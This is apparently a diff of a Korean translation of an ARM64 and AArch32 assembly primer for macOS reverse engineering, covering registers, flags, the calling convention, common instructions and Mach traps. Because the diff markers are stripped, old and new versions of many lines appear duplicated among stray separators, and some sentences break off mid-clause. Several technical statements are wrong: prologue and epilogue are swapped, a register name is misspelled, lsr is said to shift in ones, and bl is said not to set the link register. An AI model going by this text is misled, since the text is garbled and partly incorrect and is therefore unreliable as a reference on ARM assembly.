7. **`x29`** - **프레임 포인터**로 스택 프레임을 추적하는 데 사용됩니다. 함수가 호출되어 새로운 스택 프레임이 생성될 때 **`x29`** 레지스터가 **스택에 저장**되고 **새로운** 프레임 포인터 주소 (**`sp`** 주소)가 **이 레지스터에 저장**됩니다.
|
||||
|
||||
* 이 레지스터는 **일반 목적 레지스터**로 사용될 수도 있지만 일반적으로 **로컬 변수에 대한 참조**로 사용됩니다.
|
||||
|
||||
8. **`x30`** 또는 **`lr`**- **링크 레지스터**. `BL` (Branch with Link) 또는 `BLR` (Register로 링크된 Branch) 명령을 실행할 때 **`pc`** 값을 이 레지스터에 저장하여 **반환 주소**를 보유합니다.
|
||||
|
||||
* 다른 레지스터와 마찬가지로 사용할 수 있습니다.
|
||||
* 현재 함수가 새 함수를 호출하고 따라서 `lr`을 덮어쓸 것이라면, 시작 시에 스택에 저장하고 이것을 복구할 것입니다. 이것이 에필로그입니다 (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> `fp`와 `lr`을 저장하고 공간을 생성하고 새 `fp`를 얻음) 그리고 끝에서 복구합니다. 이것이 프롤로그입니다 (`ldp x29, x30, [sp], #48; ret` -> `fp`와 `lr`을 복구하고 반환).
|
||||
|
||||
9. **`sp`** - **스택 포인터**, 스택의 맨 위를 추적하는 데 사용됩니다.
|
||||
|
||||
* **`sp`** 값은 항상 적어도 **쿼드워드** **정렬**을 유지해야 하며 그렇지 않으면 정렬 예외가 발생할 수 있습니다.
|
||||
|
||||
10. **`pc`** - 다음 명령을 가리키는 **프로그램 카운터**. 이 레지스터는 예외 생성, 예외 반환 및 분기를 통해서만 업데이트될 수 있습니다. 이 레지스터를 읽을 수 있는 일반 명령은 분기와 링크 명령 (BL, BLR)뿐이며 **`pc`** 주소를 **`lr`** (링크 레지스터)에 저장하기 위한 것입니다.
|
||||
11. **`xzr`** - **제로 레지스터**. 32비트 레지스터 형태에서는 **`wzr`**로도 불립니다. 제로 값을 쉽게 얻거나 **`subs`**를 사용하여 **`xzr`**에 결과 데이터를 저장하지 않고 비교를 수행하는 데 사용할 수 있습니다.
|
||||
11. **`xzr`** - **제로 레지스터**. 32비트 레지스터 형태에서는 \*\*`wzr`\*\*로도 불립니다. 제로 값을 쉽게 얻거나 \*\*`subs`\*\*를 사용하여 \*\*`xzr`\*\*에 결과 데이터를 저장하지 않고 비교를 수행하는 데 사용할 수 있습니다.
|
||||
|
||||
### 시스템 레지스터
|
||||
|
||||
**수백 개의 시스템 레지스터** 또는 특수 목적 레지스터(SPR)는 **프로세서** 동작을 **모니터링**하고 **제어**하는 데 사용됩니다.\
|
||||
이러한 레지스터는 전용 특수 명령어 **`mrs`**와 **`msr`**을 사용하여만 읽거나 설정할 수 있습니다.
|
||||
이러한 레지스터는 전용 특수 명령어 \*\*`mrs`\*\*와 \*\*`msr`\*\*을 사용하여만 읽거나 설정할 수 있습니다.
|
||||
|
||||
특수 레지스터 **`TPIDR_EL0`**와 **`TPIDDR_EL0`**는 역공학에서 자주 발견됩니다. `EL0` 접미사는 레지스터에 액세스할 수 있는 **최소 예외**를 나타냅니다(이 경우 EL0은 정규 프로그램이 실행되는 권한 수준의 정규 예외입니다).\
|
||||
특수 레지스터 \*\*`TPIDR_EL0`\*\*와 \*\*`TPIDDR_EL0`\*\*는 역공학에서 자주 발견됩니다. `EL0` 접미사는 레지스터에 액세스할 수 있는 **최소 예외**를 나타냅니다(이 경우 EL0은 정규 프로그램이 실행되는 권한 수준의 정규 예외입니다).\
|
||||
이들은 주로 메모리의 **스레드 로컬 스토리지** 영역의 **기본 주소**를 저장하는 데 사용됩니다. 일반적으로 첫 번째 레지스터는 EL0에서 실행 중인 프로그램에 대해 읽기 및 쓰기 가능하지만, 두 번째 레지스터는 EL0에서 읽을 수 있고 EL1에서 쓰기 가능합니다(커널과 같이).
|
||||
|
||||
* `mrs x0, TPIDR_EL0 ; TPIDR_EL0을 x0로 읽기`
|
||||
|
@ -73,17 +91,17 @@ ARM64에는 `x0`부터 `x30`으로 레이블이 지정된 **31개의 범용 레
|
|||
<figure><img src="../../../.gitbook/assets/image (724).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* **`N`**, **`Z`**, **`C`**, **`V`** 조건 플래그:
|
||||
* **`N`**은 작업이 음수 결과를 생성했음을 의미합니다.
|
||||
* **`Z`**는 작업이 0을 생성했음을 의미합니다.
|
||||
* **`C`**는 작업이 캐리되었음을 의미합니다.
|
||||
* **`V`**는 작업이 부호 오버플로우를 생성했음을 의미합니다:
|
||||
* \*\*`N`\*\*은 작업이 음수 결과를 생성했음을 의미합니다.
|
||||
* \*\*`Z`\*\*는 작업이 0을 생성했음을 의미합니다.
|
||||
* \*\*`C`\*\*는 작업이 캐리되었음을 의미합니다.
|
||||
* \*\*`V`\*\*는 작업이 부호 오버플로우를 생성했음을 의미합니다:
|
||||
* 두 양수의 합은 음수 결과를 생성합니다.
|
||||
* 두 음수의 합은 양수 결과를 생성합니다.
|
||||
* 뺄셈에서 큰 음수가 작은 양수에서 뺄셈되고 결과가 주어진 비트 크기의 범위 내에 표현할 수 없는 경우.
|
||||
* 당연히 프로세서는 작업이 부호 있는지 여부를 알 수 없으므로 작업에서 C와 V를 확인하고 부호 있는지 또는 부호 없는지에 따라 발생한 캐리를 표시합니다.
|
||||
|
||||
{% hint style="warning" %}
|
||||
모든 명령이 이러한 플래그를 업데이트하지는 않습니다. **`CMP`** 또는 **`TST`**와 같은 일부 명령은 그렇지만, **`ADDS`**와 같이 s 접미사가 있는 다른 명령도 그렇습니다.
|
||||
모든 명령이 이러한 플래그를 업데이트하지는 않습니다. **`CMP`** 또는 \*\*`TST`\*\*와 같은 일부 명령은 그렇지만, \*\*`ADDS`\*\*와 같이 s 접미사가 있는 다른 명령도 그렇습니다.
|
||||
{% endhint %}
|
||||
|
||||
* 현재 **레지스터 너비(`nRW`)** 플래그: 플래그가 값 0을 보유하면 프로그램이 재개되면 AArch64 실행 상태에서 실행됩니다.
|
||||
|
@ -91,12 +109,12 @@ ARM64에는 `x0`부터 `x30`으로 레이블이 지정된 **31개의 범용 레
|
|||
* **단계별 실행** 플래그(**`SS`**): 디버거가 단계별 실행하기 위해 **`SPSR_ELx`** 내의 SS 플래그를 1로 설정합니다. 프로그램은 한 단계를 실행하고 단계별 예외를 발생시킵니다.
|
||||
* **잘못된 예외** 상태 플래그(**`IL`**): 특권 소프트웨어가 잘못된 예외 수준 전송을 수행할 때 사용되며, 이 플래그는 1로 설정되고 프로세서는 잘못된 상태 예외를 트리거합니다.
|
||||
* **`DAIF`** 플래그: 이러한 플래그를 사용하여 특권 프로그램이 특정 외부 예외를 선택적으로 마스킹할 수 있습니다.
|
||||
* **`A`**가 1이면 **비동기 중단**이 트리거됩니다. **`I`**는 외부 하드웨어 **인터럽트 요청**에 응답하도록 구성하고 F는 **빠른 인터럽트 요청**과 관련이 있습니다.
|
||||
* \*\*`A`\*\*가 1이면 **비동기 중단**이 트리거됩니다. \*\*`I`\*\*는 외부 하드웨어 **인터럽트 요청**에 응답하도록 구성하고 F는 **빠른 인터럽트 요청**과 관련이 있습니다.
|
||||
* **스택 포인터 선택** 플래그(**`SPS`**): EL1 및 이상에서 실행 중인 특권 프로그램은 자체 스택 포인터 레지스터와 사용자 모델 스택 포인터 사이를 전환할 수 있습니다(예: `SP_EL1`과 `EL0` 사이). 이 전환은 **`SPSel`** 특수 레지스터에 쓰기를 통해 수행됩니다. EL0에서는 이 작업을 수행할 수 없습니다.
|
||||
|
||||
## **호출 규약 (ARM64v8)**
|
||||
|
||||
ARM64 호출 규약에 따르면 함수에 전달되는 **첫 번째 여덟 개의 매개변수**는 **`x0`부터 `x7`** 레지스터에 전달됩니다. **추가** 매개변수는 **스택**에 전달됩니다. **반환** 값은 레지스터 **`x0`**에 반환되거나 **128비트인 경우** **`x1`**에도 반환됩니다. **`x19`**부터 **`x30`** 및 **`sp`** 레지스터는 함수 호출 간에 **보존**되어야 합니다.
|
||||
ARM64 호출 규약에 따르면 함수에 전달되는 **첫 번째 여덟 개의 매개변수**는 **`x0`부터 `x7`** 레지스터에 전달됩니다. **추가** 매개변수는 **스택**에 전달됩니다. **반환** 값은 레지스터 \*\*`x0`\*\*에 반환되거나 **128비트인 경우** \*\*`x1`\*\*에도 반환됩니다. \*\*`x19`\*\*부터 **`x30`** 및 **`sp`** 레지스터는 함수 호출 간에 **보존**되어야 합니다.
|
||||
|
||||
어셈블리에서 함수를 읽을 때 **함수 프롤로그와 에필로그**를 찾으세요. **프롤로그**는 일반적으로 **프레임 포인터(`x29`)를 저장**, **새 프레임 포인터를 설정**하고 **스택 공간을 할당**하는 것을 포함합니다. **에필로그**는 일반적으로 **저장된 프레임 포인터를 복원**하고 **함수에서 반환**하는 것을 포함합니다.
|
||||
|
||||
|
@ -106,7 +124,7 @@ Swift에는 자체 **호출 규약**이 있으며 [**https://github.com/apple/sw
|
|||
|
||||
## **일반 명령어 (ARM64v8)**
|
||||
|
||||
ARM64 명령어는 일반적으로 **`opcode dst, src1, src2`** 형식을 갖습니다. 여기서 **`opcode`**는 수행할 **작업**을 나타내며(`add`, `sub`, `mov` 등), **`dst`**는 결과가 저장될 **대상** 레지스터이고 **`src1`** 및 **`src2`**는 **소스** 레지스터입니다. 소스 레지스터 대신 즉시 값도 사용할 수 있습니다.
|
||||
ARM64 명령어는 일반적으로 **`opcode dst, src1, src2`** 형식을 갖습니다. 여기서 \*\*`opcode`\*\*는 수행할 **작업**을 나타내며(`add`, `sub`, `mov` 등), \*\*`dst`\*\*는 결과가 저장될 **대상** 레지스터이고 **`src1`** 및 \*\*`src2`\*\*는 **소스** 레지스터입니다. 소스 레지스터 대신 즉시 값도 사용할 수 있습니다.
|
||||
|
||||
* **`mov`**: 한 **레지스터**에서 다른 **레지스터**로 값 이동.
|
||||
* 예: `mov x0, x1` — 이는 `x1`의 값을 `x0`로 이동합니다.
|
||||
|
@ -149,10 +167,10 @@ ARM64 명령어는 일반적으로 **`opcode dst, src1, src2`** 형식을 갖습
|
|||
* **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**:
|
||||
* **논리 왼쪽 시프트**: 끝부분에 0을 추가하여 다른 비트를 앞쪽으로 이동 (n번 2를 곱함)
|
||||
* **논리 오른쪽 시프트**: 1을 시작 부분에 추가하여 다른 비트를 뒤로 이동 (부호 없는 경우 n번 2로 나눔)
|
||||
* **산술 오른쪽 시프트**: **`lsr`**와 유사하지만 최상위 비트가 1인 경우 1을 추가함 (부호 있는 경우 n번 2로 나눔)
|
||||
* **오른쪽으로 회전**: **`lsr`**와 유사하지만 오른쪽에서 제거된 것은 왼쪽에 추가됨
|
||||
* **확장된 오른쪽 회전**: **`ror`**와 유사하지만 캐리 플래그가 "가장 상위 비트"로 사용됨. 따라서 캐리 플래그가 31번째 비트로 이동하고 제거된 비트가 캐리 플래그로 이동함.
|
||||
* **`bfm`**: **비트 필드 이동**, 이러한 작업은 값을 복사하고 해당 값을 다른 레지스터에 배치함. **`#s`**는 가장 왼쪽 비트 위치를 지정하고 **`#r`**은 **오른쪽으로 회전하는 양**을 지정함.
|
||||
* **산술 오른쪽 시프트**: \*\*`lsr`\*\*와 유사하지만 최상위 비트가 1인 경우 1을 추가함 (부호 있는 경우 n번 2로 나눔)
|
||||
* **오른쪽으로 회전**: \*\*`lsr`\*\*와 유사하지만 오른쪽에서 제거된 것은 왼쪽에 추가됨
|
||||
* **확장된 오른쪽 회전**: \*\*`ror`\*\*와 유사하지만 캐리 플래그가 "가장 상위 비트"로 사용됨. 따라서 캐리 플래그가 31번째 비트로 이동하고 제거된 비트가 캐리 플래그로 이동함.
|
||||
* **`bfm`**: **비트 필드 이동**, 이러한 작업은 값을 복사하고 해당 값을 다른 레지스터에 배치함. \*\*`#s`\*\*는 가장 왼쪽 비트 위치를 지정하고 \*\*`#r`\*\*은 **오른쪽으로 회전하는 양**을 지정함.
|
||||
* 비트 필드 이동: `BFM Xd, Xn, #r`
|
||||
* 부호 있는 비트 필드 이동: `SBFM Xd, Xn, #r, #s`
|
||||
* 부호 없는 비트 필드 이동: `UBFM Xd, Xn, #r, #s`
|
||||
|
@ -175,21 +193,21 @@ ARM64 명령어는 일반적으로 **`opcode dst, src1, src2`** 형식을 갖습
|
|||
* 예: `cmp x0, x1` — 이 명령은 `x0`와 `x1`의 값을 비교하고 조건 플래그를 설정함.
|
||||
* **`cmn`**: **음수 비교** 피연산자. 이 경우 `adds`의 별칭이며 동일한 구문을 지원함. `m == -n`인지 확인하는 데 유용함.
|
||||
* **`ccmp`**: 조건부 비교, 이전 비교가 참인 경우에만 수행되는 비교로 특정하게 `nzcv` 비트를 설정함.
|
||||
* `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> x1 != x2이고 x3 < x4인 경우 _func으로 이동함
|
||||
* `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> x1 != x2이고 x3 < x4인 경우 \_func으로 이동함
|
||||
* 이는 **이전 `cmp`가 `NE`인 경우에만 `ccmp`가 실행**되므로 비트 `nzcv`가 0으로 설정됨 (`blt` 비교를 충족하지 않음).
|
||||
* 이는 `ccmn`으로도 사용할 수 있음 (음수인 경우 `cmp` 대 `cmn`과 유사함).
|
||||
* **`tst`**: 비교 값 중 어느 값이라도 1인지 확인함 (ANDS처럼 작동하지만 결과를 어디에도 저장하지 않음). 값으로 지정된 레지스터의 비트 중 어느 비트가 1인지 확인하는 데 유용함.
|
||||
* 예: `tst X1, #7` X1의 마지막 3비트 중 어느 비트가 1인지 확인함
|
||||
* **`teq`**: 결과를 버리는 XOR 연산
|
||||
* **`b`**: 조건 없는 분기
|
||||
* 예: `b myFunction` 
|
||||
* 예: `b myFunction`
|
||||
* 이는 링크 레지스터를 반환 주소로 채우지 않음 (반환해야 하는 서브루틴 호출에 적합하지 않음)
|
||||
* **`bl`**: 링크가 포함된 분기, **서브루틴을 호출**하는 데 사용됨. 반환 주소를 `x30`에 저장함.
|
||||
* 예: `bl myFunction` — 이 명령은 `myFunction` 함수를 호출하고 반환 주소를 `x30`에 저장함.
|
||||
* 이는 링크 레지스터를 반환 주소로 채우지 않음 (반환해야 하는 서브루틴 호출에 적합하지 않음)
|
||||
* **`blr`**: 레지스터에 지정된 대상을 호출하는 링크가 포함된 분기, 반환 주소를 `x30`에 저장함. (이는 
|
||||
* **`blr`**: 레지스터에 지정된 대상을 호출하는 링크가 포함된 분기, 반환 주소를 `x30`에 저장함. (이는
|
||||
* 예: `blr x1` — 이 명령은 `x1`에 포함된 주소의 함수를 호출하고 반환 주소를 `x30`에 저장함.
|
||||
* **`ret`**: **서브루틴**에서 **반환**, 일반적으로 **`x30`**에 있는 주소를 사용함.
|
||||
* **`ret`**: **서브루틴**에서 **반환**, 일반적으로 \*\*`x30`\*\*에 있는 주소를 사용함.
|
||||
* 예: `ret` — 이 명령은 현재 서브루틴에서 `x30`에 있는 반환 주소를 사용하여 반환함.
|
||||
* **`b.<cond>`**: 조건부 분기
|
||||
* **`b.eq`**: **동일한 경우 분기**, 이전 `cmp` 명령을 기반으로 함.
|
||||
|
@ -221,7 +239,7 @@ ARM64 명령어는 일반적으로 **`opcode dst, src1, src2`** 형식을 갖습
|
|||
* **`stur`**: 레지스터 값을 메모리 위치에 **저장**, 다른 레지스터의 오프셋을 사용합니다.
|
||||
* 예시: `stur x0, [x1, #4]` — `x1`에 현재 주소보다 4바이트 더 큰 메모리 주소에 있는 값을 `x0`에 저장합니다.
|
||||
* **`svc`** : **시스템 호출**을 수행합니다. "Supervisor Call"의 약자입니다. 프로세서가 이 명령을 실행하면 **사용자 모드에서 커널 모드로 전환**하고, **커널의 시스템 호출 처리** 코드가 있는 메모리의 특정 위치로 이동합니다.
|
||||
* 예시:
|
||||
* 예시:
|
||||
|
||||
```armasm
|
||||
mov x8, 93 ; 레지스터 x8에 종료(93) 시스템 호출 번호를 로드합니다.
|
||||
|
@ -240,7 +258,7 @@ stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement t
|
|||
{% endcode %}
|
||||
|
||||
2. **새 프레임 포인터 설정**: `mov x29, sp` (현재 함수에 대한 새 프레임 포인터 설정)
|
||||
3. **로컬 변수를 위한 스택에 공간 할당** (필요한 경우): `sub sp, sp, <size>` (<size>는 필요한 바이트 수)
|
||||
3. **로컬 변수를 위한 스택에 공간 할당** (필요한 경우): `sub sp, sp, <size>` (는 필요한 바이트 수)
|
||||
|
||||
### **함수 에필로그**
|
||||
|
||||
|
@ -257,14 +275,15 @@ ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment th
|
|||
|
||||
## AARCH32 실행 상태
|
||||
|
||||
Armv8-A는 32비트 프로그램의 실행을 지원합니다. **AArch32**는 **두 가지 명령어 세트** 중 하나에서 실행될 수 있으며 **`A32`**와 **`T32`**로 구분되며 **`interworking`**을 통해 이들 간에 전환할 수 있습니다.\
|
||||
Armv8-A는 32비트 프로그램의 실행을 지원합니다. **AArch32**는 **두 가지 명령어 세트** 중 하나에서 실행될 수 있으며 \*\*`A32`\*\*와 \*\*`T32`\*\*로 구분되며 \*\*`interworking`\*\*을 통해 이들 간에 전환할 수 있습니다.\
|
||||
**특권을 가진** 64비트 프로그램은 **32비트 프로그램의 실행을 스케줄링**할 수 있으며 이는 낮은 특권을 가진 32비트로 예외 수준 전환을 실행함으로써 이루어집니다.\
|
||||
64비트에서 32비트로의 전환은 예외 수준의 낮아짐으로 발생합니다(예: EL1에서 EL0의 프로그램을 트리거하는 64비트 프로그램). 이는 `AArch32` 프로세스 스레드가 실행 준비가 되었을 때 **`SPSR_ELx`** 특수 레지스터의 **비트 4를 1로 설정**하여 수행되며, `SPSR_ELx`의 나머지 부분은 **`AArch32`** 프로그램의 CPSR을 저장합니다. 그런 다음 특권 있는 프로세스는 **`ERET`** 명령을 호출하여 프로세서가 **`AArch32`**로 전환되어 CPSR에 따라 A32 또는 T32로 진입합니다\*\*.\*\*
|
||||
64비트에서 32비트로의 전환은 예외 수준의 낮아짐으로 발생합니다(예: EL1에서 EL0의 프로그램을 트리거하는 64비트 프로그램). 이는 `AArch32` 프로세스 스레드가 실행 준비가 되었을 때 **`SPSR_ELx`** 특수 레지스터의 **비트 4를 1로 설정**하여 수행되며, `SPSR_ELx`의 나머지 부분은 **`AArch32`** 프로그램의 CPSR을 저장합니다. 그런 다음 특권 있는 프로세스는 **`ERET`** 명령을 호출하여 프로세서가 \*\*`AArch32`\*\*로 전환되어 CPSR에 따라 A32 또는 T32로 진입합니다\*\*.\*\*
|
||||
|
||||
**`interworking`**은 CPSR의 J 및 T 비트를 사용하여 발생합니다. `J=0` 및 `T=0`은 **`A32`**를 의미하며, `J=0` 및 `T=1`은 **T32**를 의미합니다. 이는 기본적으로 명령어 세트가 T32임을 나타내기 위해 **가장 낮은 비트를 1로 설정**하는 것을 의미합니다.\
|
||||
\*\*`interworking`\*\*은 CPSR의 J 및 T 비트를 사용하여 발생합니다. `J=0` 및 `T=0`은 \*\*`A32`\*\*를 의미하며, `J=0` 및 `T=1`은 **T32**를 의미합니다. 이는 기본적으로 명령어 세트가 T32임을 나타내기 위해 **가장 낮은 비트를 1로 설정**하는 것을 의미합니다.\
|
||||
이는 **interworking 분기 명령어**에서 설정되지만, PC가 대상 레지스터로 설정될 때 다른 명령어로 직접 설정할 수도 있습니다. 예시:
|
||||
|
||||
또 다른 예시:
|
||||
|
||||
```armasm
|
||||
_start:
|
||||
.code 32 ; Begin using A32
|
||||
|
@ -275,50 +294,51 @@ bx r4 ; Swap to T32 mode: Jump to "mov r0, #0" + 1 (so T32)
|
|||
mov r0, #0
|
||||
mov r0, #8
|
||||
```
|
||||
|
||||
### 레지스터
|
||||
|
||||
32비트 레지스터가 16개 있습니다 (r0-r15). **r0부터 r14까지**는 **어떤 작업에도 사용**할 수 있지만, 일부는 일반적으로 예약되어 있습니다:
|
||||
|
||||
- **`r15`**: 프로그램 카운터 (항상). 다음 명령의 주소를 포함합니다. A32에서는 현재 + 8, T32에서는 현재 + 4입니다.
|
||||
- **`r11`**: 프레임 포인터
|
||||
- **`r12`**: 프로시저 내부 호출 레지스터
|
||||
- **`r13`**: 스택 포인터
|
||||
- **`r14`**: 링크 레지스터
|
||||
* **`r15`**: 프로그램 카운터 (항상). 다음 명령의 주소를 포함합니다. A32에서는 현재 + 8, T32에서는 현재 + 4입니다.
|
||||
* **`r11`**: 프레임 포인터
|
||||
* **`r12`**: 프로시저 내부 호출 레지스터
|
||||
* **`r13`**: 스택 포인터
|
||||
* **`r14`**: 링크 레지스터
|
||||
|
||||
또한, 레지스터는 **`은행 레지스트리`**에 백업됩니다. 이는 레지스터 값을 저장하여 예외 처리 및 특권 작업에서 **빠른 컨텍스트 전환**을 수행할 수 있도록 하여 매번 레지스터를 수동으로 저장하고 복원할 필요가 없게 합니다.\
|
||||
이는 **프로세서 상태를 `CPSR`에서 예외가 발생한 프로세서 모드의 `SPSR`로 저장**함으로써 수행됩니다. 예외가 반환되면 **`CPSR`**가 **`SPSR`**에서 복원됩니다.
|
||||
또한, 레지스터는 \*\*`은행 레지스트리`\*\*에 백업됩니다. 이는 레지스터 값을 저장하여 예외 처리 및 특권 작업에서 **빠른 컨텍스트 전환**을 수행할 수 있도록 하여 매번 레지스터를 수동으로 저장하고 복원할 필요가 없게 합니다.\
|
||||
이는 **프로세서 상태를 `CPSR`에서 예외가 발생한 프로세서 모드의 `SPSR`로 저장**함으로써 수행됩니다. 예외가 반환되면 \*\*`CPSR`\*\*가 \*\*`SPSR`\*\*에서 복원됩니다.
|
||||
|
||||
### CPSR - 현재 프로그램 상태 레지스터
|
||||
|
||||
AArch32에서 CPSR은 AArch64의 **`PSTATE`**와 유사하게 작동하며, 예외가 발생하여 나중에 실행을 복원할 때 **`SPSR_ELx`**에도 저장됩니다:
|
||||
AArch32에서 CPSR은 AArch64의 \*\*`PSTATE`\*\*와 유사하게 작동하며, 예외가 발생하여 나중에 실행을 복원할 때 \*\*`SPSR_ELx`\*\*에도 저장됩니다:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (725).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
필드는 몇 가지 그룹으로 나뉩니다:
|
||||
|
||||
- 응용 프로그램 상태 레지스터 (APSR): 산술 플래그 및 EL0에서 접근 가능
|
||||
- 실행 상태 레지스터: 프로세스 동작 (운영 체제에 의해 관리됨).
|
||||
* 응용 프로그램 상태 레지스터 (APSR): 산술 플래그 및 EL0에서 접근 가능
|
||||
* 실행 상태 레지스터: 프로세스 동작 (운영 체제에 의해 관리됨).
|
||||
|
||||
#### 응용 프로그램 상태 레지스터 (APSR)
|
||||
|
||||
- **`N`**, **`Z`**, **`C`**, **`V`** 플래그 (AArch64와 동일)
|
||||
- **`Q`** 플래그: 전문화된 포화 산술 명령을 실행하는 동안 **정수 포화가 발생할 때** 1로 설정됩니다. 한 번 **`1`**로 설정되면 수동으로 0으로 설정될 때까지 유지됩니다. 또한, 그 값을 암시적으로 확인하는 명령이 없으므로 수동으로 읽어야 합니다.
|
||||
- **`GE`** (이상 또는 같음) 플래그: SIMD (단일 명령, 다중 데이터) 작업에서 사용됩니다. "병렬 덧셈" 및 "병렬 뺄셈"과 같은 이러한 작업은 단일 명령에서 여러 데이터 포인트를 처리할 수 있게 합니다.
|
||||
* **`N`**, **`Z`**, **`C`**, **`V`** 플래그 (AArch64와 동일)
|
||||
* **`Q`** 플래그: 전문화된 포화 산술 명령을 실행하는 동안 **정수 포화가 발생할 때** 1로 설정됩니다. 한 번 \*\*`1`\*\*로 설정되면 수동으로 0으로 설정될 때까지 유지됩니다. 또한, 그 값을 암시적으로 확인하는 명령이 없으므로 수동으로 읽어야 합니다.
|
||||
* **`GE`** (이상 또는 같음) 플래그: SIMD (단일 명령, 다중 데이터) 작업에서 사용됩니다. "병렬 덧셈" 및 "병렬 뺄셈"과 같은 이러한 작업은 단일 명령에서 여러 데이터 포인트를 처리할 수 있게 합니다.
|
||||
|
||||
예를 들어, **`UADD8`** 명령은 4쌍의 바이트를 (두 32비트 피연산자에서) 병렬로 더하고 결과를 32비트 레지스터에 저장합니다. 그런 다음 이러한 결과를 기반으로 **`APSR`**의 **`GE`** 플래그를 설정합니다. 각 GE 플래그는 해당 바이트 쌍에 대한 덧셈이 **오버플로우**되었는지를 나타냅니다.
|
||||
예를 들어, **`UADD8`** 명령은 4쌍의 바이트를 (두 32비트 피연산자에서) 병렬로 더하고 결과를 32비트 레지스터에 저장합니다. 그런 다음 이러한 결과를 기반으로 \*\*`APSR`\*\*의 **`GE`** 플래그를 설정합니다. 각 GE 플래그는 해당 바이트 쌍에 대한 덧셈이 **오버플로우**되었는지를 나타냅니다.
|
||||
|
||||
**`SEL`** 명령은 이러한 GE 플래그를 사용하여 조건부 작업을 수행합니다.
|
||||
|
||||
#### 실행 상태 레지스터
|
||||
|
||||
- **`J`** 및 **`T`** 비트: **`J`**는 0이어야 하며 **`T`**가 0이면 A32 명령 세트가 사용되고, 1이면 T32가 사용됩니다.
|
||||
- **IT 블록 상태 레지스터** (`ITSTATE`): 이들은 10-15 및 25-26 비트입니다. **`IT`** 접두어 그룹 내의 명령에 대한 조건을 저장합니다.
|
||||
- **`E`** 비트: **엔디안**을 나타냅니다.
|
||||
- **모드 및 예외 마스크 비트** (0-4): 현재 실행 상태를 결정합니다. **5번째** 비트는 프로그램이 32비트 (1) 또는 64비트 (0)로 실행되는지를 나타냅니다. 다른 4개는 현재 사용 중인 **예외 모드**를 나타냅니다 (예외가 발생하고 처리 중일 때). 숫자 세트는 이 처리 중에 다른 예외가 트리거될 경우의 **현재 우선 순위**를 나타냅니다.
|
||||
* **`J`** 및 **`T`** 비트: \*\*`J`\*\*는 0이어야 하며 \*\*`T`\*\*가 0이면 A32 명령 세트가 사용되고, 1이면 T32가 사용됩니다.
|
||||
* **IT 블록 상태 레지스터** (`ITSTATE`): 이들은 10-15 및 25-26 비트입니다. **`IT`** 접두어 그룹 내의 명령에 대한 조건을 저장합니다.
|
||||
* **`E`** 비트: **엔디안**을 나타냅니다.
|
||||
* **모드 및 예외 마스크 비트** (0-4): 현재 실행 상태를 결정합니다. **5번째** 비트는 프로그램이 32비트 (1) 또는 64비트 (0)로 실행되는지를 나타냅니다. 다른 4개는 현재 사용 중인 **예외 모드**를 나타냅니다 (예외가 발생하고 처리 중일 때). 숫자 세트는 이 처리 중에 다른 예외가 트리거될 경우의 **현재 우선 순위**를 나타냅니다.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (728).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- **`AIF`**: 특정 예외는 **`A`**, `I`, `F` 비트를 사용하여 비활성화할 수 있습니다. **`A`**가 1이면 **비동기 중단**이 트리거됩니다. **`I`**는 외부 하드웨어 **인터럽트 요청** (IRQ)에 응답하도록 구성하고 F는 **빠른 인터럽트 요청** (FIR)와 관련이 있습니다.
|
||||
* **`AIF`**: 특정 예외는 **`A`**, `I`, `F` 비트를 사용하여 비활성화할 수 있습니다. \*\*`A`\*\*가 1이면 **비동기 중단**이 트리거됩니다. \*\*`I`\*\*는 외부 하드웨어 **인터럽트 요청** (IRQ)에 응답하도록 구성하고 F는 **빠른 인터럽트 요청** (FIR)와 관련이 있습니다.
|
||||
|
||||
## macOS
|
||||
|
||||
|
@ -328,9 +348,9 @@ AArch32에서 CPSR은 AArch64의 **`PSTATE`**와 유사하게 작동하며, 예
|
|||
|
||||
### Mach Traps
|
||||
|
||||
[**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html)에서 `mach_trap_table`을 확인하고 [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h)에서 프로토 타입을 확인하세요. Mach traps의 최대 수는 `MACH_TRAP_TABLE_COUNT` = 128입니다. Mach traps는 **x16 < 0**이므로 이전 목록의 숫자를 **음수**로 호출해야 합니다: **`_kernelrpc_mach_vm_allocate_trap`**은 **`-10`**입니다.
|
||||
[**syscall\_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall\_sw.c.auto.html)에서 `mach_trap_table`을 확인하고 [**mach\_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach\_traps.h)에서 프로토 타입을 확인하세요. Mach traps의 최대 수는 `MACH_TRAP_TABLE_COUNT` = 128입니다. Mach traps는 **x16 < 0**이므로 이전 목록의 숫자를 **음수**로 호출해야 합니다: \*\*`_kernelrpc_mach_vm_allocate_trap`\*\*은 \*\*`-10`\*\*입니다.
|
||||
|
||||
또한 이러한 (및 BSD) 시스템 호출을 어떻게 호출할지 알아보려면 **`libsystem_kernel.dylib`**를 디스어셈블러에서 확인할 수 있습니다:
|
||||
또한 이러한 (및 BSD) 시스템 호출을 어떻게 호출할지 알아보려면 \*\*`libsystem_kernel.dylib`\*\*를 디스어셈블러에서 확인할 수 있습니다:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -343,7 +363,7 @@ dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shar
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="success" %}
|
||||
가끔은 **`libsystem_kernel.dylib`**에서 **디컴파일된** 코드를 확인하는 것이 **소스 코드**를 확인하는 것보다 쉽습니다. 왜냐하면 여러 시스템 호출 (BSD 및 Mach)의 코드는 스크립트를 통해 생성되기 때문에 (소스 코드의 주석을 확인하십시오) dylib에서 호출되는 내용을 찾을 수 있습니다.
|
||||
